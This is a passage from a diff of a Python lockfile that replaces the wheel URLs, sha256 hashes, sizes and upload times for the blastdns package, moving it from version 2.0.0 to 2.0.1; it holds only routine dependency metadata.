"sha256:51b4692987c15d0d1884b682e9ba8b2f285abc5248e0b953cee506e9416f054b", size = 2648170, upload-time = "2026-09-22T15:08:27.048Z" }, - { url = "https://files.pythonhosted.org/packages/67/7c/ce4eedbcdc8a32193780b575705fce72de34a5aa987c0e96887a5a1644b8/blastdns-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a7e051d4d6b3ae09a17af99b31a21f702c6fe3a10bc39dc029f7a5ec57e1ce84", size = 2899444, upload-time = "2026-09-22T15:08:53.022Z" }, - { url = "https://files.pythonhosted.org/packages/b9/ba/01340b06e3f67bfbcecbed80af3a04a38d136f886d327241adbe7c3f57dd/blastdns-2.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:b327ee5564166eae8ce6d4af25330cd2345001702d65addb6a2ec5ca51f8da2f", size = 2876108, upload-time = "2026-09-22T15:09:06.132Z" }, - { url = "https://files.pythonhosted.org/packages/fe/63/f43585828d0d632953957a7931222bd24f564019aa63839bd0d93236a3db/blastdns-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:14cdf1c18d1f8030c2dcf9a45ab7afea738de99f9da53a1de6de058e8138a5cf", size = 2967997, upload-time = "2026-09-22T15:09:19.468Z" }, - { url = "https://files.pythonhosted.org/packages/9f/9b/b94f746d2e4a584d4b6f28a917ba302763fc9c80b408e2d47d1049666860/blastdns-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:97c7de160c0d9da917cde3a6329202804b61e895c4dd0b24141cb0de1f61bee0", size = 2965137, upload-time = "2026-09-22T15:09:32.611Z" }, - { url = "https://files.pythonhosted.org/packages/96/60/58693d07f674ad550c9cf06f12db1de2efa31efa6371d4de30abfdc180e5/blastdns-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:2810a6f6464130d6a8dbc8b7e97f7d8c58faf3e1880dc36202a54265827fb8ac", size = 2896519, upload-time = "2026-09-22T15:09:46.218Z" }, - { url = "https://files.pythonhosted.org/packages/f9/96/476d0428662b4c858ccc358b5fa460d3aeccab2ee6d53452f185ecb1a588/blastdns-2.0.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:310b0841bed2408fe5572da3d7cc31121ebd143540b8d4eee7d2e72379093db1", size = 2835448, upload-time = "2026-09-22T15:08:46.526Z" }, - { url = "https://files.pythonhosted.org/packages/d4/11/d01a7d84d31c6118b517ce95711605aed53a11b432258607113b420a7f7e/blastdns-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:dc84ea39d619d2500f16ff922a0c29d2be6733750532a878037540a5611f149c", size = 2693129, upload-time = "2026-09-22T15:08:40.261Z" }, - { url = "https://files.pythonhosted.org/packages/98/f8/1738e7c407c4fff4b5f060105249a3db5b14fc5f9a545399cc9881d3a97a/blastdns-2.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:571defd1b5e2df3a503d8662a48bb06694d8e67ac8d45d1cb041f99ce6ad6a3f", size = 2709065, upload-time = "2026-09-22T15:07:22.258Z" }, - { url = "https://files.pythonhosted.org/packages/2f/8d/d799e607f84f3c4b889fe981fdb10bfc2b061fec700eee5e5e21e5b0c6eb/blastdns-2.0.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:14b6a580c1ddc60a92631d66949d87ce2a73fe757e6397996f947f1a6ac767f2", size = 2602900, upload-time = "2026-09-22T15:07:35.027Z" }, - { url = "https://files.pythonhosted.org/packages/29/74/cc681a2e562ae0493cb80cb1330d7e88c65a00264900509bdb8a0f87a90d/blastdns-2.0.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:c4be35b13ca6c55181a970a80a9c479143bf836f383e9ac9d836e0b4b11d3a8b", size = 2852808, upload-time = "2026-09-22T15:08:15.227Z" }, - { url = "https://files.pythonhosted.org/packages/19/c9/57eaa902fc0c658c274e9a230ac9dd948586ca7404885fe3e831d2928b07/blastdns-2.0.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:50d109ee31b02fcd5cb2eb3fb15f18e023e7eaaae33b8ec16a2c00dc6282faa5", size = 3864668, upload-time = "2026-09-22T15:07:47.626Z" }, - { url = "https://files.pythonhosted.org/packages/ed/74/26cf55a0b277f886315a4bdec91ed27d8644363f3152b7b8eb8f31749e08/blastdns-2.0.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:e0d44c234e8a248039d236ec50a93510929119bca956ebf99e5711394c7d30bb", size = 2777770, upload-time = "2026-09-22T15:08:02.317Z" }, - { url = "https://files.pythonhosted.org/packages/1c/ea/b4a90807a17738c9d2090017e48ed4c80713f37d3704ae6601f79ceb65ce/blastdns-2.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:519d854a18987bc5d9c27b250cef80927ba6424751e20bf3f70e9eceb62a5793", size = 2644016, upload-time = "2026-09-22T15:08:28.446Z" }, - { url = "https://files.pythonhosted.org/packages/65/45/4ddda1c1227f42480308571afd0f0db1da6a3fda7340872c888833e9a4e3/blastdns-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8eefe01153faa9e5eaea0b20177a1f93664c08b74204430b11c7a649df5d674c", size = 2889039, upload-time = "2026-09-22T15:08:54.62Z" }, - { url = "https://files.pythonhosted.org/packages/9b/a3/38fe980be309143fa70c0e04a1555812977a394deb4f62f04c3c849a2d89/blastdns-2.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b00c58ae5a34348e4abe9c2a5ec7ca2f57a1f606f1d530fc8f086e89989df651", size = 2876735, upload-time = "2026-09-22T15:09:07.75Z" }, - { url = "https://files.pythonhosted.org/packages/a3/80/f769f46e4e9e7287d5c2635921bede6c1facd59ddbf0a6e49ba1fdd7db57/blastdns-2.0.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9b4fe18afb843d53415a6d29e9ca2a18826b5b99976cb26e8bcd47e827101a1d", size = 2960507, upload-time = "2026-09-22T15:09:20.971Z" }, - { url = "https://files.pythonhosted.org/packages/a1/bd/9309e53b152ed2828a0c78272aeb65a0919e69537565d07d0e0649c01371/blastdns-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:570c37c519c08a2dcf4d3a5e79146be6e266c89984b3f090f6950ba9dd15ccea", size = 2959800, upload-time = "2026-09-22T15:09:33.995Z" }, - { url = "https://files.pythonhosted.org/packages/20/1e/72843915ed817d0e82cf6e9130227beafeab39e4ae8ddb7aec774c4cd560/blastdns-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:ca4e0eb101eae9dee771c041db9e9101c8f0611f3d6cd58da35afbea3862a3f6", size = 2893234, upload-time = "2026-09-22T15:09:47.903Z" }, - { url = "https://files.pythonhosted.org/packages/f8/39/a5db8864bb6229a1e93e570e7360eb5457660a3dfb8c17dcbc6bd48683f1/blastdns-2.0.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:ce92a5a7145348a20e3337ed6a6dc80ca296d7ba087927c6bec0ed97673f236e", size = 2835533, upload-time = "2026-09-22T15:08:48.212Z" }, - { url = "https://files.pythonhosted.org/packages/44/b0/a85efee02d4722ac41edf1998a2c6034a63ac43682692efa0a88ee3e2a72/blastdns-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:13b2e161f1f99f4fa73e1df4ec16b7cd86b29a5f5e20fbf368849381753132cb", size = 2693063, upload-time = "2026-09-22T15:08:41.623Z" }, - { url = "https://files.pythonhosted.org/packages/85/67/74bdf494f48c2f6bc256a199ac5823267da495cb99e6c22b8491f8df6c11/blastdns-2.0.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:6d087c8352c31a25adcf11d1e3a3ea50289513560ca5807af8cb00dff4ff3430", size = 2708994, upload-time = "2026-09-22T15:07:23.729Z" }, - { url = "https://files.pythonhosted.org/packages/b4/c4/7a6579d6cd9851eb07fb86b706dfa83d26d42128e6fe45541343dc63147f/blastdns-2.0.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:1f464664df7e8f924ee486b6a1ab50bcf720a902010f140938f84d518d92820f", size = 2603021, upload-time = "2026-09-22T15:07:36.747Z" }, - { url = "https://files.pythonhosted.org/packages/2f/21/a32d9b19857f5ce1b0714a4c740146b4e93cfec09d741a58d057764b7d01/blastdns-2.0.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:a036964128a1b30ab0594978c9acb13e431b6e6df5f04270497cc34be607f9c3", size = 2853115, upload-time = "2026-09-22T15:08:17.537Z" }, - { url = "https://files.pythonhosted.org/packages/33/06/5b2705ac73a09c4d5150c4577b828cd45e4031de2da50c8c41f400550319/blastdns-2.0.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:ed6fabb7ce356056899ab820786bcc9bb28e023d0af9ecf11e12bd3dafb9cfc5", size = 3864541, upload-time = "2026-09-22T15:07:49.339Z" }, - { url = "https://files.pythonhosted.org/packages/a4/59/864b59824c63cab452b92dedb826459861ff70409485973ff6760ed42b63/blastdns-2.0.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:8db531d4abe616a58a466f022990c67b056b0a37e7489eb43fcccfd2d886f9a6", size = 2776027, upload-time = "2026-09-22T15:08:03.944Z" }, - { url = "https://files.pythonhosted.org/packages/fa/f2/c61d995b71506596b771b8b664db4d69a57e59b6e0fe52b71bcebfd428b3/blastdns-2.0.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:60197e85dd2eba9edbf3d0e55894d1d65bc5236c7558497b0881da0dc6e48211", size = 2643639, upload-time = "2026-09-22T15:08:30.125Z" }, - { url = "https://files.pythonhosted.org/packages/eb/e9/10ab9b68e74922bd05d8637984f83ce80615850edc779863b27adb6875c7/blastdns-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5a38290f6003cb883d91378cfe6ac5ac0e3b9d9fb13f94d70e92eca209f82dfe", size = 2888146, upload-time = "2026-09-22T15:08:56.314Z" }, - { url = "https://files.pythonhosted.org/packages/27/d1/256835b30033bcf2ae761b20b6522a9923382acd4baf97bf8c09cb56f300/blastdns-2.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:c3b020008641e5047aad39b434ac6921022cd7c089ed110ab85bfbe271f9665d", size = 2876899, upload-time = "2026-09-22T15:09:09.429Z" }, - { url = "https://files.pythonhosted.org/packages/44/e9/ac0434e31af4300395ae6b00d88f88cdcf73c15ac227e6a5b856c00289d3/blastdns-2.0.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5c996778b8a70169071e3110087ce6111bcb4816c9fbf1b51c16287a85333c13", size = 2961010, upload-time = "2026-09-22T15:09:22.529Z" }, - { url = "https://files.pythonhosted.org/packages/51/e6/93fc905327e850d163df1b0bba77dd59732721a11d5932ec45233a145047/blastdns-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbe8e011c0f05930e5c24b16835bc67423d1f9d41f087b81bbc90e55920bcf19", size = 2959561, upload-time = "2026-09-22T15:09:35.626Z" }, - { url = "https://files.pythonhosted.org/packages/9e/eb/ba7d52bff317d26c197d2e4c9eb59ceb5c81c0554787f6bf89b67364bac8/blastdns-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:0c16298df3453f4f09cf5cba415c698178875710cd8fa0fe08a1826b5048ec5e", size = 2892801, upload-time = "2026-09-22T15:09:49.607Z" }, - { url = "https://files.pythonhosted.org/packages/2a/11/6b3fb5929c85041a0f76920504318c193189d468b2f7fcd4ff79c4fa0aa5/blastdns-2.0.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:01cf4b75298504d189d6a679e3d275c4d9028a7fffac5f6221734cd0af0d6c3b", size = 2835360, upload-time = "2026-09-22T15:08:49.91Z" }, - { url = "https://files.pythonhosted.org/packages/80/c4/6a54cf27db17576216fd80bc2b9f4b48b019293351a9554700501152ef8c/blastdns-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:705df149f190d22b0e1cca9277e99da262f27ef6838d8342d60c679be400a101", size = 2699592, upload-time = "2026-09-22T15:08:43.383Z" }, - { url = "https://files.pythonhosted.org/packages/75/7a/fa5f6bbbff97c3d95774ed1caf28117c3d5b35480fff2e4640bf9c702852/blastdns-2.0.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:c78f43fb9fd4d976d481917b1ff245126f0de679032c87eef4ee68ced2b792bd", size = 2712167, upload-time = "2026-09-22T15:07:25.407Z" }, - { url = "https://files.pythonhosted.org/packages/67/3f/1bcb164095cd9996df84f10b3da52d2e1f3bcc1620ed00262c7b7df2745b/blastdns-2.0.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:5b369fedffb6d723912ba052b4d0400f7facf54d4db217bd9d26c738a7f6009a", size = 2603483, upload-time = "2026-09-22T15:07:38.392Z" }, - { url = "https://files.pythonhosted.org/packages/02/7c/ed7d1056edb3a242ece4e88c21eac107ebfb19d441171fc2b7b7d7b09ae2/blastdns-2.0.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:24dfe8f9521d31e5b0ff4c676c611b0917bd2f002b246501556082b404842aea", size = 2853477, upload-time = "2026-09-22T15:08:19.144Z" }, - { url = "https://files.pythonhosted.org/packages/32/1d/9780aafd6dfe2bb52babf2007e83f0752559a668dfcfd71632e0d73a7615/blastdns-2.0.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:ac0d40ca563958ca3ddb3082058854b2e327d9b404eede5958c43e32418cf2be", size = 3864263, upload-time = "2026-09-22T15:07:51.096Z" }, - { url = "https://files.pythonhosted.org/packages/1c/d8/46767fdf13e0a9e6bf295a948b99480810f61c09608b303293df7b7ef456/blastdns-2.0.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:fd94b8f168f4023b6181e75a22874d53c38ae6cc9a56675e7b576234fa943e3b", size = 2777474, upload-time = "2026-09-22T15:08:05.558Z" }, - { url = "https://files.pythonhosted.org/packages/5d/52/b88f641f3ea172b999934dd19d8df3df14797ee7be047c528de773c879c9/blastdns-2.0.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:4e5f97cd6d704e5b92c583c6827a35d1f15166916fb60a65af9c1964239a8604", size = 2647384, upload-time = "2026-09-22T15:08:31.746Z" }, - { url = "https://files.pythonhosted.org/packages/89/d3/657f45d789ff685395b3c3370a3b8a51dc47a4ca9767ce71ec9c36d515e3/blastdns-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7d581b80ad528df9e2b7404102c5412aec8741da0d204e0d9adc7f61c72b61fa", size = 2891111, upload-time = "2026-09-22T15:08:58.046Z" }, - { url = "https://files.pythonhosted.org/packages/20/b1/32072d3e10c9fd85c00f720b43f1950447fbd86af616a056448bbe8b8e3e/blastdns-2.0.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3a560128f38616cb47ec3330a11f3884f64e534188f6213195cd7e128913b0cb", size = 2878358, upload-time = "2026-09-22T15:09:10.963Z" }, - { url = "https://files.pythonhosted.org/packages/59/21/71fc77bd93672cababdd1027fe6c813823e3f1026b37d4ebf62b962fa766/blastdns-2.0.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:490c05c290d5156e8fadb870a6ad5794675c9f6de33f9633bd31dbe9bef7797c", size = 2961662, upload-time = "2026-09-22T15:09:24.328Z" }, - { url = "https://files.pythonhosted.org/packages/fe/64/c0f11dde18808af3cf18a6222ae58bbb25ea169cf47570bac9b85f1246b2/blastdns-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fa43e94b57f2976de36f7b9f24de35cd7c0f6a246cbedb44511664b0e687c4e8", size = 2963656, upload-time = "2026-09-22T15:09:37.075Z" }, - { url = "https://files.pythonhosted.org/packages/c8/cf/4c8a373573d6687d5821cb9c9c175ec9004f130b1c85cb6eda78db428154/blastdns-2.0.0-cp314-cp314-win32.whl", hash = "sha256:327e67116350cc3766d15dc0807ef07a625eb3ae4bd0dd3da765d8210323ed48", size = 2396906, upload-time = "2026-09-22T15:09:52.88Z" }, - { url = "https://files.pythonhosted.org/packages/f4/22/10baffe980ef65e2ad1a6eb45545fc8a61cf412234b23259eeb809644811/blastdns-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:cffa9bb9500c8b488d8715b9ba09f6fe36b90fc83618932ad86f3fb563d5b559", size = 2898488, upload-time = "2026-09-22T15:09:51.419Z" }, - { url = "https://files.pythonhosted.org/packages/8d/82/bb64585c2938d81ea603735d90e2428f6c6b22a4d98c28c3d4af3b8547b7/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e4e557fe609bf57ca1252c86cddf410fc6b6a1fcf45f847bff798b82138cef71", size = 2719362, upload-time = "2026-09-22T15:07:27.478Z" }, - { url = "https://files.pythonhosted.org/packages/94/85/3953b5307aeaaaaaa132127c2538762131b0759a5ef36ae717492fb7c03d/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9006871ad8efa6d2054e7271ef08448dd3694241a7ecf36bdb65b06d2d986729", size = 2604717, upload-time = "2026-09-22T15:07:39.774Z" }, - { url = "https://files.pythonhosted.org/packages/95/ab/dbc3ab471ddd5aefea282af8589d4b9a390db42c42615968e7cd1d469905/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:6a21aef4fd2e796ae4c954cab8e4fcad53fbc99f6073716be52166932a32b1fd", size = 2850986, upload-time = "2026-09-22T15:08:20.896Z" }, - { url = "https://files.pythonhosted.org/packages/c7/ad/737406e036cd1bc45a77d8ae8c32c3c29c4c3c28577136505706e6e01b44/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:ffab9216b35af99483e8a2605925b97cbe57c7e7d362a9442df519f6a491ecce", size = 3872080, upload-time = "2026-09-22T15:07:52.761Z" }, - { url = "https://files.pythonhosted.org/packages/d0/a8/cbc40c1237222f8e11a0971a50d57b1b549dfe220717758eefac5728584f/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:72bfc9333131e3faff4e4d641549958a1f3a374e3c89610fc24ecff3a985edbd", size = 2784031, upload-time = "2026-09-22T15:08:07.051Z" }, - { url = "https://files.pythonhosted.org/packages/a2/14/c3e23a8c6cd4b09e8e1cc407b3d633bbfb261400f710e23f9a45f06f75b5/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:5d7bb3c48ee3463ff06245ea34b6bb55bd4d9e21e48b9d7b250f67f329110817", size = 2649945, upload-time = "2026-09-22T15:08:33.933Z" }, - { url = "https://files.pythonhosted.org/packages/0e/98/c48494da5609525487fff8558d934b429b47df088c465d989419436fd0d1/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:06e821966692495bfec0487c84da85178551958ca7dd8c2bc8007dfcffa476c0", size = 2897452, upload-time = "2026-09-22T15:08:59.613Z" }, - { url = "https://files.pythonhosted.org/packages/de/48/ec4b6367c776bf5517c9576f54f466d135cf9deee62a9ce2a5c59057db23/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:fe50df4344c7a351652e854d2029bf6de74dd1a2c4b56fb4fe4a8d843b50007c", size = 2877475, upload-time = "2026-09-22T15:09:12.869Z" }, - { url = "https://files.pythonhosted.org/packages/9c/d9/1158d43293a8238f166b1924d7a57a99a3d081853d486c15f2c2bf971b67/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:138d9909f8a4c752ca7adc8617977ba24ef924ba4efd9a619be49adc6659c773", size = 2957210, upload-time = "2026-09-22T15:09:25.977Z" }, - { url = "https://files.pythonhosted.org/packages/51/e1/e09fd5b0a87742c72ba0628e1f55bf32423176311ce9467ee5d501e01c7b/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:497358e7f978e3a43e0066d3a4e8987d70a238b7b9ad74315f26e9de2eaaa969", size = 2967979, upload-time = "2026-09-22T15:09:38.78Z" }, - { url = "https://files.pythonhosted.org/packages/81/59/9538910312e62a2cd624a301e85a67826d07ba7a3ce6a640f2165388c47c/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:1f4d5889044de0d58e9f00a6e1049903083006f98feb57e5fd69f9ad1bf7c313", size = 2718275, upload-time = "2026-09-22T15:07:30.438Z" }, - { url = "https://files.pythonhosted.org/packages/58/eb/672e2448f77dd37b8a74c7d288e2c20a594bac00da31aff0b15587242d09/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:7b8fa648c98e3cba68a88ec4705e3a3b7ced4363b9c7c79edc5f854b52f45c1e", size = 2603987, upload-time = "2026-09-22T15:07:42.755Z" }, - { url = "https://files.pythonhosted.org/packages/77/70/4ca1228e934041d003c121f316caa41b5a63f6a6080a179f77b18f24f5f9/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:8061d1c164b7d640723802bcfe7d1802b8dc3dc00380f74ba22db9cc7de32e02", size = 2859104, upload-time = "2026-09-22T15:08:24.012Z" }, - { url = "https://files.pythonhosted.org/packages/0c/c9/0c6cb5420b860415e67bd8572b511f3573348f19b2a54f95ac96c184a773/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:9f6b0ae5df01ddb04893f39831c438588c075f77d2c56b7bfa26bff5a182e698", size = 3870589, upload-time = "2026-09-22T15:07:56.827Z" }, - { url = "https://files.pythonhosted.org/packages/82/a7/bfaee0af734f1752fd326f9d8be65cb1faac2822c8c032b481721b3419ed/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:97a007c61e1c76834edb439c0bca19fba88f4bf15bc7f04012fa4888ede05b2f", size = 2782517, upload-time = "2026-09-22T15:08:10.165Z" }, - { url = "https://files.pythonhosted.org/packages/3b/8c/ffd1dd369bfd2d86b51251c73b86a3f2fed675405e2d9a2bd850d120042e/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9b13c9347402f615597a6bf9e4add05b753f7bb24b344568ea83653a8c27b5d", size = 2649931, upload-time = "2026-09-22T15:08:36.826Z" }, - { url = "https://files.pythonhosted.org/packages/94/03/41545c2b853489ae08c5b1e9d543ca0db699544fa5f34ef46f19bca8f028/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:ebc1481d4f7d3472f9b704adbec97260a877943a34df3902f54f1dbcd0007a55", size = 2897847, upload-time = "2026-09-22T15:09:02.61Z" }, - { url = "https://files.pythonhosted.org/packages/8f/2f/983fbbb9552cf5ff77cbe0137b1e33c6dd27179556942a4bb981f554ed3b/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:890bbf43f7f03e3fecab89f73dc4b0e787e15763c1ce3b1dd4cc41d450950be8", size = 2878200, upload-time = "2026-09-22T15:09:15.917Z" }, - { url = "https://files.pythonhosted.org/packages/c1/c5/679df448cb7495bb299e0c0d1ff01586a7696c8b60826d75d5ec3efeb977/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:d6450e293fc1e7aa7ef6d0457a9d5bde609736215ef24c213dd6d73251b6f73a", size = 2970379, upload-time = "2026-09-22T15:09:29.58Z" }, - { url = "https://files.pythonhosted.org/packages/6b/5d/a85a96975a713264a588d1364882240c010ac8fce8537e7fd2f4da48e4f9/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:6afa71169e23fb47a179420af05d6dfd51c7062130e11a16e0ade1d302fcf45b", size = 2965229, upload-time = "2026-09-22T15:09:41.993Z" }, +wheels = [ + { url = "https://files.pythonhosted.org/packages/0f/0f/3824ed4d20bd01d5e06361c121ee96ec10e1f974ebf42126f64aa13d64de/blastdns-2.0.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:07dfd241715bf5ce2a84d77278e3dc93f801f5ba3e70adb4471b5fa7d453e1c2", size = 2722739, upload-time = "2026-10-14T19:32:32.348Z" }, + { url = "https://files.pythonhosted.org/packages/60/b9/6f338072236d73111ecbadb3f543a0c795dc82fe2a52225a0fbabfa563c0/blastdns-2.0.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:105f51b1c36bdc3dcaff23f73d2859e8b46c9363d8b9576de542c3df8ead5a28", size = 2607280, upload-time = "2026-10-14T19:32:47.171Z" }, + { url = "https://files.pythonhosted.org/packages/00/9a/872fbb6848a17ba179257009f8c0316d8867bc1e62d26eab938581ecfeef/blastdns-2.0.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:14d21b20e6d9b5c0601df966280130d0a3f462c08c7054aaae25bc507c1e28a0", size = 2853594, upload-time = "2026-10-14T19:33:32.628Z" }, + { url = "https://files.pythonhosted.org/packages/80/67/cdc76bce53fd6cdef3c18f10e96d12aa38e7daa589e645877f399affcc4a/blastdns-2.0.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:aecd8655f3e431f1592c91655ece7e1fcbf81f0f81802d88860e6fbdc503b044", size = 3852656, upload-time = "2026-10-14T19:33:01.913Z" }, + { url = "https://files.pythonhosted.org/packages/cf/b4/11560b17d3ac6debd34f5681c84155b1a7a33ece19a49155dde695657f92/blastdns-2.0.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:b9c2df6d199399e982323b951f92c21c5cba2e9183e3033498ff48374c0daa71", size = 2793628, upload-time = "2026-10-14T19:33:17.379Z" }, + { url = "https://files.pythonhosted.org/packages/f4/3d/bc3b5f76262668d354e3d623285962957b446808821decba616484e4439a/blastdns-2.0.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:410354828c932110cd75cad7fdc7b4cdfd8aee41f7a4c62762f904230d463805", size = 2649743, upload-time = "2026-10-14T19:33:47.364Z" }, + { url = "https://files.pythonhosted.org/packages/39/c4/ef6d35685ec64d06444ed1d714b90c479532f3427c023762bb3712403938/blastdns-2.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:540bcffd739c24b16e7815be16142bc524c5fd2e287056b376d7f946f2d79d8f", size = 2900724, upload-time = "2026-10-14T19:34:17.617Z" }, + { url = "https://files.pythonhosted.org/packages/66/e2/9ad7db1a4f380219ab13c6be7a2bff62a6e1b7e4c47f39d3abc146a91040/blastdns-2.0.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:fcf2d2240b943afb04ccbc666d69902c43ae984156da2447e54ce9f63dc9fa2c", size = 2882928, upload-time = "2026-10-14T19:34:32.026Z" }, + { url = "https://files.pythonhosted.org/packages/22/1f/031ad4c7dc1a876a3a8d59b24ed3519560d5cf6ae87e104bedac197bfd75/blastdns-2.0.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:bc0de2ab9ea9c368d1a20539ff0cbaeabd508d7523e5c33adc4ed348accbaadc", size = 2841858, upload-time = "2026-10-14T19:34:10.087Z" }, + { url = "https://files.pythonhosted.org/packages/84/3b/82317fe3f279d3f001bb8995a7e4687f3651bbf69e1e14248f8929e79e73/blastdns-2.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d9d91e512b3349cc077a341e864061c5ca2cae148b89688596f1ad90629e634", size = 2704757, upload-time = "2026-10-14T19:34:02.305Z" }, + { url = "https://files.pythonhosted.org/packages/1b/a2/48d0429936f135896394e855a12c95dff3cdb62a25abcc00f01574b70680/blastdns-2.0.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:d598cd7f7c0d25afc56b922159bed6a9f87073171fcc4e564e72697c68225324", size = 2724339, upload-time = "2026-10-14T19:32:34.535Z" }, + { url = "https://files.pythonhosted.org/packages/2c/dd/dd0f0631b7cd132175604222c26f45cebf71b98289c48c76d023be98995d/blastdns-2.0.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:61cd04cd508bd8a6dab4032373126f9f7d7a87483356737d05ed0aa6df66895b", size = 2607074, upload-time = "2026-10-14T19:32:49.269Z" }, + { url = "https://files.pythonhosted.org/packages/95/59/753d15749ae35097d7912e1373ef2aac6b1b6316e8f5e5e9405896039f68/blastdns-2.0.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:fa12551916611eee927e84416e3307fc7788ff18ddb5f97838ec7cac659e7daf", size = 2853417, upload-time = "2026-10-14T19:33:34.325Z" }, + { url = "https://files.pythonhosted.org/packages/77/ac/7531cab453719637dea2aa3abf69ffa8221e03c934bb429ab89c8443c8d8/blastdns-2.0.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:51f79347461b255ead65d63f3eba241a6daa0586f12e942d443ee9e5a24af9c0", size = 3853940, upload-time = "2026-10-14T19:33:03.842Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/88016061db6fcd1eafb25c9d2319fe69d71d9fe3a2c1411254b04d45a0b0/blastdns-2.0.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:a773ee95532a63d6d732dd4e49bae8cbc0542cf611f39e488fdade314c8ce6fc", size = 2798193, upload-time = "2026-10-14T19:33:19.14Z" }, + { url = "https://files.pythonhosted.org/packages/29/16/3b7f930a2d0ff6a1d0c25b4f4268756318ab23c678447b6eb35928567b81/blastdns-2.0.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:890fb0133a3d9846c3982bf93c6e50dfd6c7e2f17b58a56d374da27b3e00aa4f", size = 2650250, upload-time = 